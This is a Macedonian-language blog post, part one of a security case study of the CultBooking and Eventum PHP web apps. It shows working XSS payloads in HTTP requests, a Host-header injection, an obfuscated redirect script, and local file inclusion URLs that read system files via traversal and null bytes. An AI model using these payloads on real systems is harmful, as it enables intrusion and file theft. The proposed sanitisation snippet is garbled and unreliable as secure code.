(Објавен е и вториот дел од истражувањето. Ќе го најдете тука)

Во тој контекст решив да напишам едно изучување и анализа на веб апликации од безбедносна гледна точка и како всушност изгледа едно безбедносно истражување на веб апликации и нивна закрпа.

Избрав две веб апликации (PHP): CultBooking, развиена од германската компанија Cultuzz Digital Media и претставува систем за резервации (хотели, карти и сл.) и Eventum, развиена од тимот на MySQL (Oracle Corporation) која претставува систем за следење на багови, организација на задачи и слично. Во овие две апликации ќе посочам на некои ранливости и нивни експлоатациски сценарија.



Пред да започне истражувањето првин ги преземам најновите верзии на горенаведените апликации од нивните официјални веб страни и ја поставувам околината за тестирање со сите потребни модули.
Во моментот на ова пишување, најновите верзии се:

  1. CultBooking 2.0.4http://sourceforge.net/projects/cultbooking [3.454 KB]
  2. Eventum 2.3https://launchpad.net/eventum [3.080 KB]

За овој вид на тестирање (in-house), околината содржи:

1. Запознавање со целта

Запознавање со целта е важен чекор во секоја истражувачка дејност. За да го разбереме она што сакаме да го тестираме, првин треба ги научиме методите и функционалноста на апликацијата. За што служи, која е примарната цел на истата, како се справува со податоци, преглед на интерфејсот и запознавање со додатните модули како и читање на прирачникот, разгледување и ревизија на изворниот код и хиерархијата, точки на корисничко внесување, протоколи, дали користи авторизација и автентикација и сл. Треба целосно да го запознаеме работниот тек (workflow) на целта, како што ги знаеме нашите омилени апликации кои што ги користиме секојдневно, за да се дојде до успешни резултати од анализата.

Нема да пишувам ревизија за апликациите и нивните плусеви и минуси. Откако го запознав системот на работа кај апликациите, продолжувам со следниот чекор.

2. Креирање на листа од безбедносни тест алатки

“Man is a tool-using animal. Without tools he is nothing, with tools he is all.” – Thomas Carlyle

Нема да објаснувам како се користат алатките, туку само ќе набројам неколку бесплатни и корисни безбедносни алатки кои ги користев во ова сценарио:

3. Истражување и анализа

3.1 CultBooking

Откако ја измапирав целата структура на апликацијата почнав со скенирање од ранливости со горенаведените алатки како и разгледување на самиот код со едноставно читање. Пронајдов неколку ранливости од типот Cross-Site Scripting од различни концепти, Local File Inclusion, File Disclosure и Path Disclosure ранливост.



XSS POST Injection:

– Ранливи POST параметри: bookingcode и email

------------------------- HTTP Request -------------------------
POST /cultbooking/cultbooking.php HTTP/1.1
Content-Length: 136
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401 Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive


bookingcode="><script>alert(1)</script>&email="><script>alert(1)</script>&agentsine=10492&agentdutycode=1429741cfe1700d7&lang=de&hcode=11225&action=cancelbooking
-------------------------------------------------------------------

------------------------- HTTP Respond ----------------------------
HTTP/1.1 200 OK
Date: Sun, 16 Jan 2011 16:04:25 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Content-Length: 5386
Keep-Alive: timeout=5, max=80
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
--------------------------------------------------------------------

HTML Injection преку Header Attack:

– Ранлива променлива: Host

--------------------------- HTTP Request ---------------------------
POST /cultbooking/cultbooking.php HTTP/1.1
Host: "><zsl><h1>ZSL-CROSS-SCRIPT-EXECUTED"
Content-Length: 19
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401 Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive


action=cancellation
-------------------------------------------------------------------


------------------------- HTTP Respond ----------------------------
HTTP/1.1 200 OK
Date: Sun, 16 Jan 2011 16:04:58 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Content-Length: 5335
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-------------------------------------------------------------------


XSS GET:

– Ранлив параметар: lang

-------------------------- HTTP Request ---------------------------
GET /cultbooking/cultbooking.php?lang="><script>alert(1)</script> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401 Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive
-------------------------------------------------------------------


------------------------- HTTP Respond ----------------------------
HTTP/1.1 200 OK
Date: Sun, 16 Jan 2011 16:04:23 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
-------------------------------------------------------------------

Да напоменам дека има некои забрани поради magic_quotes (php.ini). Тие филтрирања можеме понекогаш да ги заобиколуваме со помош на различни техники како енкодинг, обфускација, големи и мали букви, хексадецимални карактери и т.н. Еве неколку референци:

Преусмерување:


http://127.0.0.1/cultbooking/cultbooking.php?lang="><script>document.location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 122, 101, 114, 111, 115, 99, 105, 101, 110, 99, 101, 46, 109, 107);</script>

http://www.asciitable.com/
http://seclists.org/pen-test/2007/Jan/95
http://devteev.blogspot.com/2010/08/null-byte.html
http://devteev.blogspot.com/2009/08/null-byte.html
http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
http://ptresearch.blogspot.com/2010/08/another-alternative-for-null-byte.html
http://raz0r.name/articles/null-byte-alternative/
http://www.elartedeprogramar.cl/seguridad_web/advanced_postgrest_sql_injection_and_filter_bypass_techniques_190.0.html
http://ha.ckers.org/sqlinjection/
http://ha.ckers.org/xss.html

и т.н.

Разоктривање на патеката на апликацијата (http://www.owasp.org/index.php/Full_Path_Disclosure) обично доаѓа заедно со некоја друга ранливост поради несоодветно справување со грешки. Во овој случај таа се појавува и во LFI и во XSS нападите. Едноставно на крајот на секој параметар додадете го карактерот: (%27) или било што друго освен потребното и ќе ви биде претставена целосната патека на веб директориумот на веб серверот. Пр:

http://127.0.0.1/cultbooking/cultbooking.php?lang='

Local File Inclusion / File Disclosure:

  • Ранлив параметар: lang
  • Зависно од magic_quotes_gpc=off

http://127.0.0.1/cultbooking/cultbooking.php?lang=c%3A%5C%5Cboot.ini%00
http://127.0.0.1/cultbooking/cultbooking.php?lang=../../../boot.ini%00

Ранливата функција можеме да ја погледнеме со следење на изворниот код во самата апликација:

cultbooking.php скриптата ја отворам во мојот омилен текст едитор и го разгледувам текот за вклучување на функцијата и класите за јазикот. Во cultbooking.php гледам:

require_once('Sessionlanguage/cultbooking.languageNS.languageImplSkel.class.php');

навигирам во папката Sessionlanguage и го отворам cultbooking.languageNS.languageImplSkel.class.php податокот. По детално разгледување доаѓам до скриптата: cultbooking.languageNS.languageImpl.class.php во која го има следниов код:

----------------------------------------------------------


<?php


/** implement the methods of cultbooking§languageNS§languageImplSkel.class.php. */class cultbooking§languageNS§languageImpl extends cultbooking§languageNS§languageImplSkel


{
var $incfile;
public function providetransLang()
{
return $this;
}
public function localization($incfile)
{
$this->incfile = $incfile;
}
public function translate($str)
{
include $this->incfile .".inc";
return $$str;
}

}
?>

----------------------------------------------------------

Проблемот е што нема доволно санирање на корисничкото внесување при што последици би можеле да бидат катастрофални каде што напаѓачот би можел да дојде до осетливи информации само со пропатување низ директориуми и специфицирање на податокот којшто сака да го види (пример: passwd, config.php и сл.) со нулирање на крај од секој стринг (%00). Класата cultbookingВ§languageNSВ§languageImpl е ранлива на LFI напад. Во функцијата се бара .inc податок како што и веќе се таму en.inc и de.inc но со заобиколување и завршување на крај на стрингот можеме да го видиме било кој податок кој се наоѓа во системот. Напаѓачот може да дојде до осетливи информации на заразениот систем со пропатување на директориуми или пак да извршува HTML код во корисничкиот прелистувач со помош на XSS напад.

Пример за побезбедно санирање/валидација:

<?php
$file = <?php
$file = preg_replace(‘/[^a-zA-Z0-9_]/’,”,addslashes($_GET['file']));
$readfile = readfile($file);
?>
($_GET['file']));
$readfile = readfile($file);
?>

За среќа, magic_quotes_gpc доколку ви е вклучено (=ON) ќе се заштитите од овој напад но не и од Path Disclosure. Magic Quotes конвертира некои карактери, што им отежнува на напаѓачите успешно да извршат напад, пример: %00 во , но не се препорачува користење на magic quotes за избегнување на податоци.

Споредба и закрпи:


Од сликите можете да видите како изгледа едно закрпување на веб апликација со едноставно користење на функциите за регуларни изрази, поклопување на шаблони, санирање, споредување, избегнување и нејзино зацврстување.

… Продолжува „Информациско безбедносна проценка на веб апликации (изучување на случај, дел II)“

13 коментари на “Информациско безбедносна проценка на веб апликации (изучување на случај, дел I)

  1. Hey there I am so grateful I found your weblog, I really flund you by
    accident, while I was researching oon Yahoo for something else,
    Anyways I am here now and would just like to say thanks a lot for a tremendous post annd a
    all round thrilling bblog (I apso love the theme/design), I don’t
    have time to go through it alll at thhe minute
    but I have blokmarked it and also added your RSS feeds, so when
    I have time I will bee back to read more, Please
    ddo keep up the great b.

  2. Hey there! I’m at work surfing around your blog from my new apple iphone! Just wanted to say I love reading your blog and look forward to all your posts! Keep up the excellent work!

  3. Па добро, во овој случај напишав само дека е од аспект на in-house и не објаснував за black, white и graybox поради пристапот од кој што сум насочен. Не кажав дека пристапувам според некои методологии или стандарди (како OWASP, PCIDCC и сл.). Иако е од отворен код, не е извршена целосна статична анализа на изворниот код или пак динамична анализа на апликацијата.

    Напоменав дека треба да се знае, да, но во овој случај зависно од каде ќе започнеш. Јас користам неколку пристапи во различни улоги. Барем во овој случак, малку е погенерално…

    Така да, иако е од отворен код некоја апликација, blackbox или whitebox, си користам арсенал поради различните резултати или output што таа алатка ќе ми приреди. И отпосле си шеташ по кодот. Малку и автоматизирање се разбира, исто така може да влијае и времето колку ти е дадено да тестираш една апликација, live или in-house…

    Благодарам, и мило ми е што ти се допаѓа листата. Во план е уште неколку статии во поглед на пенетрациско тестирање на мрежи и софтверски апликации. Тоа понатаму ….

    Поздрав,
    Ѓоко

  4. i vo QA imash blackbox, graybox i whitebox :). Ako dobiese obfuskiran kod so ioncube togash da ajde da se ima toj pristap ama na otvoren kod se znae sto e najdobar i najbrz pristap :). btw listata na alatki e super :)

Коментирај

Вашата адреса за е-пошта нема да биде објавена.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

Слични статии